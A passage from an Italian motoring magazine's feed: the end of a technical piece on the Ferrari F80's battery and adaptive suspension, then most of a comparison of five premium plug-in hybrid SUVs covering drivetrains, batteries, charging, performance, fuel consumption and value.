<figure class="wp-block-image size-full"><img decoding="async" width="757" height="1024" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/Ferrari-F80-F250-engine-motore-757x1024-1.webp" alt="Ferrari F80 F250 engine motore 757x1024 1" class="wp-image-165944" title="Analisi Tecnica: Ferrari F80, L&#039;Hypercar da 1200 CV per gli 80 Anni del Cavallino 91" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-engine-motore-757x1024-1.webp 757w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-engine-motore-757x1024-1-300x406.webp 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/Ferrari-F80-F250-engine-motore-757x1024-1-696x941.webp 696w" sizes="(max-width: 757px) 100vw, 757px" /><figcaption>Analisi Tecnica: Ferrari F80, L'Hypercar da 1200 CV per gli 80 Anni del Cavallino 99</figcaption></figure>



<h2 class="wp-block-heading">Batteria e Prestazioni</h2>



<p class="wp-block-paragraph">La batteria ha una capacità limitata di 2,28 kWh, alimentata da una potenza di 242 kW con architettura a 800 Volt. La potenza di sistema raggiunge i 1.200 CV per un&#8217;accelerazione da 0 a 100 km/h in 2,15 secondi.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/11/6710ad7bbd9b53001088098c-ferrari-f80-suspension-focus-2-1-1024x576.avif" alt="6710ad7bbd9b53001088098c ferrari f80 suspension focus 2 1" class="wp-image-165946" title="Analisi Tecnica: Ferrari F80, L&#039;Hypercar da 1200 CV per gli 80 Anni del Cavallino 92" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/11/6710ad7bbd9b53001088098c-ferrari-f80-suspension-focus-2-1-1024x576.avif 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/11/6710ad7bbd9b53001088098c-ferrari-f80-suspension-focus-2-1-768x432.avif 768w, https://www.giornalemotori.com/wp-content/uploads/2025/11/6710ad7bbd9b53001088098c-ferrari-f80-suspension-focus-2-1-300x169.avif 300w, https://www.giornalemotori.com/wp-content/uploads/2025/11/6710ad7bbd9b53001088098c-ferrari-f80-suspension-focus-2-1-696x392.avif 696w, https://www.giornalemotori.com/wp-content/uploads/2025/11/6710ad7bbd9b53001088098c-ferrari-f80-suspension-focus-2-1.avif 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Ferrari F80, L'Hypercar da 1200 CV per gli 80 Anni del Cavallino 100</figcaption></figure>



<h2 class="wp-block-heading">Le Sospensioni Adattive Active</h2>



<p class="wp-block-paragraph">La dinamica di guida si affida a un sistema di sospensioni adattive, molto simile a uno schema già visto in passato sulle Citroën Pallas e al Magic Body di Mercedes. Il sistema si compone di una pompa idraulica e un serbatoio dove viene gestita la quantità di aria e olio per il controllo dell&#8217;escursione dell&#8217;ammortizzatore. Nel caso della soluzione scelta da Ferrari, anche il telaio su cui sono collegati i doppi bracci dello schema a quadrilatero push-rod ha un&#8217;altezza variabile coordinata dall&#8217;escursione dell&#8217;ammortizzatore.</p>



<p class="wp-block-paragraph">In dettaglio, all&#8217;interno dell&#8217;ammortizzatore c&#8217;è un pistone che scorre su una madrevite a circolazione di sfere. L&#8217;escursione mette in rotazione un gruppo di ingranaggi che, collegato a un secondo elemento con un rapporto di trasmissione definito, provoca la variazione in altezza dell&#8217;intero quadrilatero in modo diretto rispetto alla posizione dell&#8217;ammortizzatore che ne determina il controllo.</p>



<p class="wp-block-paragraph">Ovviamente in Ferrari, pur avendo la necessità di assicurare il comfort minimo per una Hypercar da usare in modo quotidiano e una variazione continua della taratura in base alle condizioni dinamiche, soprattutto in pista, il sistema garantisce una risposta rapida e un assetto che consente un controllo anche delle geometrie, come la variazione del camber per ogni singola ruota in funzione della sollecitazione in curva. </p>
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		<title>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 15 Oct 2025 08:04:24 +0000</pubDate>
				<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>Nel panorama dei SUV premium di medio-grandi dimensioni, la transizione verso la mobilità elettrificata ha portato alla nascita di una nuova generazione di ibride plug-in (PHEV) sempre più evolute. Sei modelli rappresentano oggi il vertice tecnologico del segmento: Audi Q5 55 TFSI e quattro, BMW X3 xDrive30e, Lexus NX 450h+ AWD, Mercedes-Benz GLC 300e 4MATIC [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Nel panorama dei SUV premium di medio-grandi dimensioni, la transizione verso la mobilità elettrificata ha portato alla nascita di una nuova generazione di ibride plug-in (PHEV) sempre più evolute. Sei modelli rappresentano oggi il vertice tecnologico del segmento: <strong>Audi Q5 55 TFSI e quattro</strong>, <strong>BMW X3 xDrive30e</strong>, <strong>Lexus NX 450h+ AWD</strong>, <strong>Mercedes-Benz GLC 300e 4MATIC</strong> e <strong>Volvo XC60 T8 Recharge</strong>. Ognuna adotta un’architettura ibrida differente, con soluzioni meccaniche ed elettroniche peculiari che influenzano direttamente efficienza, prestazioni, comfort e comportamento dinamico.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="850" height="433" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/P2-P3-and-P4-parallel-hybrid-architectures.png" alt="P2 P3 and P4 parallel hybrid architectures" class="wp-image-164359" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 101" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/P2-P3-and-P4-parallel-hybrid-architectures.png 850w, https://www.giornalemotori.com/wp-content/uploads/2025/10/P2-P3-and-P4-parallel-hybrid-architectures-768x391.png 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/P2-P3-and-P4-parallel-hybrid-architectures-300x153.png 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/P2-P3-and-P4-parallel-hybrid-architectures-696x355.png 696w" sizes="(max-width: 850px) 100vw, 850px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 116</figcaption></figure>



<h3 class="wp-block-heading">Architetture ibride: tre filosofie a confronto</h3>



<p class="wp-block-paragraph">Le sei protagoniste si dividono in tre principali configurazioni ibride. Le tedesche, <strong>Audi, BMW e Mercedes</strong>, impiegano tutte uno <strong>schema ibrido parallelo di tipo P2</strong>, dove il motore elettrico è collocato tra propulsore termico e trasmissione automatica. Questa soluzione permette di mantenere la <strong>trazione integrale meccanica tradizionale</strong>, con sistemi differenti per ciascuna: <strong>quattro permanente con differenziale Torsen</strong> per Audi, <strong>xDrive elettronico on-demand</strong> per BMW e <strong>4MATIC con giunto variabile</strong> per Mercedes.</p>



<p class="wp-block-paragraph"><strong>Lexus NX 450h+</strong> e <strong>Volvo XC60 T8 Recharge</strong>, invece, adottano architetture più complesse che integrano un <strong>secondo motore elettrico posteriore indipendente</strong> (schema P4), capace di fornire trazione integrale elettrica senza albero di trasmissione. La Lexus impiega l’evoluto sistema <strong>Hybrid Synergy Drive di quarta generazione</strong>, una combinazione serie-parallelo che ottimizza la sinergia tra motore a ciclo Atkinson e propulsione elettrica. La Volvo, dal canto suo, adotta una configurazione <strong>P2+P4 “Twin Engine”</strong>, unica nel suo genere, con motore elettrico anteriore integrato nel cambio e secondo motore posteriore indipendente.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="735" height="544" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/Hybrid-drivetrain-P2-architecture.png" alt="Hybrid drivetrain P2 architecture" class="wp-image-164360" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 102" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/Hybrid-drivetrain-P2-architecture.png 735w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Hybrid-drivetrain-P2-architecture-300x222.png 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Hybrid-drivetrain-P2-architecture-485x360.png 485w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Hybrid-drivetrain-P2-architecture-696x515.png 696w" sizes="(max-width: 735px) 100vw, 735px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 117</figcaption></figure>



<h3 class="wp-block-heading">Propulsori termici: efficienza prima di tutto</h3>



<p class="wp-block-paragraph">Con la batteria scarica e in autostrada, l’efficienza del motore a combustione torna a essere il parametro dominante. Tra i cinque propulsori analizzati, spicca nettamente quello della <strong>Lexus NX 450h+</strong>, il 2.5 litri A25A-FXS a ciclo Atkinson della famiglia Dynamic Force. Un quattro cilindri aspirato da 185 CV e 228 Nm, caratterizzato da rapporto di compressione 14:1, fasatura variabile VVT-iE e iniezione diretta D-4S. Con un rendimento termico record del <strong>41%</strong>, rappresenta lo stato dell’arte dell’efficienza. La sua erogazione è progressiva e lineare, ma manca della brillantezza dei motori turbo rivali, pur assicurando il migliore consumi a 130km/h</p>



<p class="wp-block-paragraph">Segue il <strong>Mercedes M264 2.0 Turbo EQ Power</strong>, un quattro cilindri di ultima generazione con ciclo Miller, turbocompressore a wastegate elettronica e iniezione diretta di quarta generazione. Con 204 CV e 320 Nm, raggiunge un’efficienza termica del <strong>38%</strong>. Il sistema CAMTRONIC a fasatura variabile e la gestione termica intelligente garantiscono tempi di warm-up ridotti e perfetta integrazione con il motore elettrico.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="863" height="863" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/engine_001.jpg" alt="engine 001" class="wp-image-164361" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 103" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/engine_001.jpg 863w, https://www.giornalemotori.com/wp-content/uploads/2025/10/engine_001-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2025/10/engine_001-768x768.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/engine_001-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/engine_001-696x696.jpg 696w" sizes="(max-width: 863px) 100vw, 863px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 118</figcaption></figure>



<p class="wp-block-paragraph">Il terzo gradino spetta al <strong>2.0 TFSI dell’Audi Q5</strong>, un quattro cilindri turbo a ciclo Miller da 252 CV e 370 Nm. Pur con un rendimento leggermente inferiore (circa 35%), il motore Audi si distingue per fluidità, risposta pronta e tecnologia affidabile. Il sistema di disattivazione dei cilindri COD consente di migliorare i consumi in crociera, mantenendo un’elevata piacevolezza di guida.</p>



<p class="wp-block-paragraph">Le unità di <strong>BMW X3 xDrive30e</strong> e <strong>Volvo XC60 T8 Recharge</strong> condividono l’impostazione turbo, ma con differenze sostanziali: la BMW privilegia la compattezza e l’equilibrio dinamico a scapito dell’autonomia elettrica, mentre la Volvo abbina al 2.0 turbo aggiunge un compressore volumetrico, garantendo coppia piena a tutti i regimi.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/silnik-m264-1-1024x768.jpg" alt="silnik m264 1" class="wp-image-164362" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 104" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/silnik-m264-1-1024x768.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/silnik-m264-1-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/silnik-m264-1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/silnik-m264-1-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/silnik-m264-1-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2025/10/silnik-m264-1.jpg 1536w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 119</figcaption></figure>



<h3 class="wp-block-heading">Propulsione elettrica: potenza e gestione dell’energia</h3>



<p class="wp-block-paragraph">Sul fronte elettrico emergono differenze marcate. Il sistema <strong>Twin Engine</strong> della <strong>Volvo XC60 T8 Recharge</strong> è il più complesso e potente: un motore/generatore anteriore da 65 CV funge da starter-generator, mentre al posteriore lavora un potente motore sincrono a magneti permanenti da <strong>145 CV e 309 Nm</strong>, con <strong>torque vectoring elettronico</strong>. Il risultato è una potenza combinata di <strong>455 CV e 709 Nm</strong>, record assoluto della categoria. In modalità EV la trazione è affidata al solo assale posteriore, con velocità massima di 140 km/h e rendimento elettrico del 93%. L’auto può variare la distribuzione della coppia in curva, migliorando trazione e agilità, ma paga complessità e peso elevati.</p>



<p class="wp-block-paragraph">La <strong>Mercedes GLC 300e</strong>, invece, punta su un approccio più razionale: un unico motore sincrono a magneti permanenti ad alta densità integrato nel cambio 9G-TRONIC, capace di <strong>150 CV e 440 Nm</strong>. È il propulsore elettrico più efficiente del gruppo, con rendimento del <strong>95%</strong> e recupero energetico fino a 0,4 g di decelerazione. Il sistema prevede tre livelli di rigenerazione selezionabili e una gestione predittiva dell’energia basata sui dati del navigatore. Un elemento distintivo è il <strong>pedale acceleratore aptico</strong>, che fornisce un feedback tattile al guidatore per ottimizzare l’efficienza.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="577" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/image-79-1024x577-1.jpg" alt="image 79 1024x577 1" class="wp-image-164363" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 105" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/image-79-1024x577-1.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/image-79-1024x577-1-768x433.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/image-79-1024x577-1-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/image-79-1024x577-1-696x392.jpg 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 120</figcaption></figure>



<p class="wp-block-paragraph">Il sistema elettrico della <strong>Lexus NX 450h+</strong> si distingue per l’affidabilità: un motore anteriore a valle del cambio e un’unità posteriore indipendente per la trazione AWD. L’erogazione è fluida e la risposta e inficiata dal classico effetto scooter. Inoltre, l’efficienza complessiva è penalizzata dal raffreddamento ad aria e dall’assenza di pre-condizionamento termico della batteria.</p>



<h3 class="wp-block-heading">Batterie: capacità, gestione termica e autonomia reale</h3>



<p class="wp-block-paragraph">Le differenze tra i SUV si amplificano osservando le specifiche dei pacchi batteria. La <strong>Mercedes GLC 300e</strong> vanta la batteria più grande e tecnologicamente avanzata: <strong>31,2 kWh lordi (25,4 netti)</strong>, con celle NCM 811 ad alta densità (142 Wh/kg) e tensione di 400 V. Il sistema di raffreddamento a liquido attivo e la gestione termica predittiva garantiscono prestazioni costanti e durata elevata. L’autonomia reale si attesta intorno ai <strong>75 km</strong>, con punte di 88 km nel ciclo WLTP.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="640" height="480" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/sddefault.jpg" alt="sddefault" class="wp-image-164364" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 106" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/sddefault.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2025/10/sddefault-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/sddefault-265x198.jpg 265w" sizes="(max-width: 640px) 100vw, 640px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 121</figcaption></figure>



<p class="wp-block-paragraph">Segue la <strong>Lexus NX 450h+</strong> con batteria da <strong>18,1 kWh lordi (14,5 netti)</strong>, celle NCM Panasonic e raffreddamento ad aria forzata. Pur meno evoluta sotto il profilo tecnico, offre un vantaggio fondamentale: <strong>garanzia di 10 anni o 240.000 km</strong> e degrado stimato al 3% annuo. L’autonomia reale è di circa <strong>64 km</strong>, più che sufficiente per l’uso quotidiano.</p>



<p class="wp-block-paragraph">La <strong>Volvo XC60 T8</strong> adotta una batteria da <strong>18,8 kWh netti</strong>, posizionata centralmente sotto il pianale e raffreddata a liquido. L’autonomia dichiarata è di 70 km reali, ma la gestione energetica non raggiunge la raffinatezza della Mercedes.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="768" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/03-4-768x576-1.jpg" alt="03 4 768x576 1" class="wp-image-164365" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 107" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/03-4-768x576-1.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/03-4-768x576-1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/03-4-768x576-1-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/03-4-768x576-1-265x198.jpg 265w" sizes="(max-width: 768px) 100vw, 768px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 122</figcaption></figure>



<p class="wp-block-paragraph">La <strong>BMW X3 xDrive30e</strong> chiude il gruppo con la batteria più piccola: <strong>12 kWh lordi (10 netti)</strong>, raffreddamento passivo e autonomia reale di soli <strong>38 km</strong>. Il vantaggio è il peso contenuto (110 kg) e il costo ridotto, ma la capacità limitata ne penalizza l’efficienza e la fruibilità come vera plug-in. Di fatti la BMW è l&#8217;unica del lotto considerabile come una mild hybrid plug in per le limitate prestazioni in EV ed in Hybrid Auto. </p>



<h3 class="wp-block-heading">Ricarica e gestione energetica intelligente</h3>



<p class="wp-block-paragraph">Mercedes si conferma leader anche nella gestione della ricarica. La <strong>GLC 300e</strong> è dotata di caricatore <strong>trifase da 11 kW</strong>, capace di ricaricare completamente la batteria in meno di 3 ore. Il sistema “Mercedes me Charge” offre accesso a oltre 400.000 colonnine in Europa con funzioni di <strong>Plug &amp; Charge</strong>, gestione predittiva del percorso e pre-condizionamento termico. È possibile ottimizzare i tempi di ricarica in base alle tariffe e persino integrare l’impianto fotovoltaico domestico.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="300" height="168" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/images.jpeg" alt="images" class="wp-image-164366" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 108"><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 123</figcaption></figure>



<p class="wp-block-paragraph">La <strong>Volvo XC60 T8</strong> si colloca subito dietro con una potenza di ricarica di <strong>6,4 kW monofase</strong>, completando la ricarica in circa 3 ore. Offre funzioni di programmazione tramite app e pre-condizionamento abitacolo, ma non dispone di aggiornamenti OTA né di gestione predittiva basata su GPS. La <strong>Lexus NX 450h+</strong> e la <strong>BMW X3</strong> dispongono di caricatori più lenti (3,7–7,4 kW) e di sistemi di gestione meno sofisticati, pur garantendo tempi adeguati per un utilizzo domestico quotidiano.</p>



<h3 class="wp-block-heading">Prestazioni dinamiche e comportamento su strada</h3>



<p class="wp-block-paragraph">Sul piano prestazionale, la <strong>Volvo XC60 T8 Recharge</strong> domina il confronto con <strong>455 CV e 709 Nm</strong>, 0–100 km/h in <strong>4,6 secondi</strong> e velocità autolimitata a 180 km/h. Nonostante i 2.199 kg, vanta un rapporto peso/potenza di <strong>4,9 kg/CV</strong>, valore da sportiva. La presenza del torque vectoring elettrico posteriore assicura agilità e trazione ottimali, ma la massa importante penalizza leggermente la risposta nei cambi di direzione rapidi.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="533" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/Volvo-XC60-T8-Black-Edition-Auto-Class-Magazine-_018-800x533-1.jpg" alt="Volvo XC60 T8 Black Edition Auto Class Magazine 018 800x533 1" class="wp-image-164367" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 109" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-T8-Black-Edition-Auto-Class-Magazine-_018-800x533-1.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-T8-Black-Edition-Auto-Class-Magazine-_018-800x533-1-768x512.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-T8-Black-Edition-Auto-Class-Magazine-_018-800x533-1-300x200.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-T8-Black-Edition-Auto-Class-Magazine-_018-800x533-1-696x464.jpg 696w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 124</figcaption></figure>



<p class="wp-block-paragraph">Segue l’<strong>Audi Q5 55 TFSI e</strong>, che con 367 CV e 500 Nm garantisce uno 0–100 in <strong>5,5 secondi</strong> e 230 km/h di velocità massima. L’erogazione del sistema ibrido P2 è equilibrata e prevedibile, con una gestione elettronica raffinata della trazione quattro.</p>



<p class="wp-block-paragraph">La <strong>Mercedes GLC 300e</strong>, pur con potenza complessiva di “soli” <strong>313 CV e 550 Nm</strong>, offre un comportamento dinamico sicuro, grande fluidità di marcia e un bilanciamento tra comfort ed efficienza difficilmente eguagliabile.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/GLC-1024x576.jpg" alt="GLC" class="wp-image-164368" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 110" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/GLC-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/GLC-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/GLC-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/GLC-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/GLC.jpg 1902w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 125</figcaption></figure>



<p class="wp-block-paragraph">La <strong>BMW X3 xDrive30e</strong>, con 292 CV e 420 Nm, è la più leggera del lotto (1.990 kg) e mantiene un comportamento stradale tipicamente BMW, preciso e reattivo. Tuttavia, le prestazioni pure (0–100 in 6,3 s) la pongono dietro le rivali più potenti.</p>



<p class="wp-block-paragraph">La <strong>Lexus NX 450h+</strong>, con i suoi 295 CV combinati, privilegia la fluidità piuttosto che la sportività. Il cambio e-CVT penalizza la risposta in accelerazione, ma assicura un’ottima progressività e comfort acustico.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/2025-lexus-electrified-plug-in-asset-1920x1080-00-1024x576.jpeg" alt="2025 lexus electrified plug in asset 1920x1080 00" class="wp-image-164369" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 111" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/2025-lexus-electrified-plug-in-asset-1920x1080-00-1024x576.jpeg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/2025-lexus-electrified-plug-in-asset-1920x1080-00-768x432.jpeg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/2025-lexus-electrified-plug-in-asset-1920x1080-00-300x169.jpeg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/2025-lexus-electrified-plug-in-asset-1920x1080-00-696x392.jpeg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/2025-lexus-electrified-plug-in-asset-1920x1080-00.jpeg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 126</figcaption></figure>



<h3 class="wp-block-heading">Consumi ed efficienza complessiva</h3>



<p class="wp-block-paragraph">Sul fronte dei consumi, la <strong>Mercedes GLC 300e</strong> emerge come la più equilibrata. In ambito urbano, con batteria carica, registra valori intorno a <strong>1,5 l/100 km</strong>, mentre con batteria scarica in autostrada si attesta sui <strong>7,5 l/100 km</strong>, per una media ponderata di circa <strong>4,5 l/100 km</strong>.</p>



<p class="wp-block-paragraph">La <strong>Lexus NX 450h+</strong> si dimostra sorprendentemente efficiente in autostrada, con consumi di <strong>5,0 l/100 km</strong>, merito dell’ottimizzazione termica e del motore Atkinson ad alto rendimento. La <strong>Volvo XC60 T8</strong>, pur essendo la più potente, mantiene consumi accettabili (circa <strong>5,8 l/100 km</strong> medi), giustificati dal livello prestazionale e dal peso superiore ai 2.200 kg. La <strong>BMW X3</strong> è penalizzata dall’autonomia ridotta, che costringe il motore termico a lavorare più spesso, portando i consumi medi sopra i <strong>6,0 l/100 km</strong> medio. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/mercedes-glc-diesel-mild-hybrid-2022-la-prova-consumi-1024x576.jpg" alt="mercedes glc diesel mild hybrid 2022 la prova consumi" class="wp-image-164370" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 112" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/mercedes-glc-diesel-mild-hybrid-2022-la-prova-consumi-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/mercedes-glc-diesel-mild-hybrid-2022-la-prova-consumi-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/mercedes-glc-diesel-mild-hybrid-2022-la-prova-consumi-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/mercedes-glc-diesel-mild-hybrid-2022-la-prova-consumi-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/mercedes-glc-diesel-mild-hybrid-2022-la-prova-consumi.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 127</figcaption></figure>



<h3 class="wp-block-heading">Rapporto prezzo/tecnologia e valore complessivo</h3>



<p class="wp-block-paragraph">Il confronto economico ribalta alcune gerarchie. La <strong>Lexus NX 450h+</strong> emerge come la proposta più razionale grazie a un listino completo e privo di costosi optional. A ciò si aggiunge la garanzia decennale e un valore residuo superiore alla media, che riducono il costo di possesso nel lungo periodo.</p>



<p class="wp-block-paragraph">La <strong>BMW X3 xDrive30e</strong>, pur tecnologicamente più semplice, resta appetibile per prezzo d’ingresso e piacere di guida, anche se la sua architettura la avvicina più a un mild-hybrid evoluto che a un PHEV di ultima generazione.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1024" height="448" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/g45_phev_stage_dsk_fb.webp" alt="g45 phev stage dsk fb" class="wp-image-164371" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 113" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/g45_phev_stage_dsk_fb.webp 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/g45_phev_stage_dsk_fb-768x336.webp 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/g45_phev_stage_dsk_fb-300x131.webp 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/g45_phev_stage_dsk_fb-696x305.webp 696w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 128</figcaption></figure>



<p class="wp-block-paragraph">La <strong>Mercedes GLC 300e</strong>, con un prezzo superiore di circa 6.000 euro rispetto a Audi e BMW, giustifica il sovrapprezzo con una dotazione tecnica d’eccellenza, ma richiede una percorrenza annua elevata per ammortizzare la spesa.</p>



<p class="wp-block-paragraph">La <strong>Volvo XC60 T8</strong> offre il miglior rapporto <strong>€/CV</strong> del confronto: circa <strong>147 €/CV</strong>, valore paragonabile a vetture sportive, con prestazioni da gran turismo e costi inferiori rispetto alle tedesche equivalenti.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="576" src="https://www.giornalemotori.com/wp-content/uploads//2025/10/Volvo-XC60-Recharge-T8-AWD-Plug-In-Ultimate-Dark-5-1024x576.webp" alt="Volvo XC60 Recharge T8 AWD Plug In Ultimate Dark 5" class="wp-image-164372" title="Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 114" srcset="https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-Recharge-T8-AWD-Plug-In-Ultimate-Dark-5-1024x576.webp 1024w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-Recharge-T8-AWD-Plug-In-Ultimate-Dark-5-768x432.webp 768w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-Recharge-T8-AWD-Plug-In-Ultimate-Dark-5-300x169.webp 300w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-Recharge-T8-AWD-Plug-In-Ultimate-Dark-5-696x392.webp 696w, https://www.giornalemotori.com/wp-content/uploads/2025/10/Volvo-XC60-Recharge-T8-AWD-Plug-In-Ultimate-Dark-5.webp 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Analisi Tecnica: Confronto dei sistemi ibridi Plug-in SUV alto di gamma 129</figcaption></figure>



<h3 class="wp-block-heading">Verdetto finale</h3>



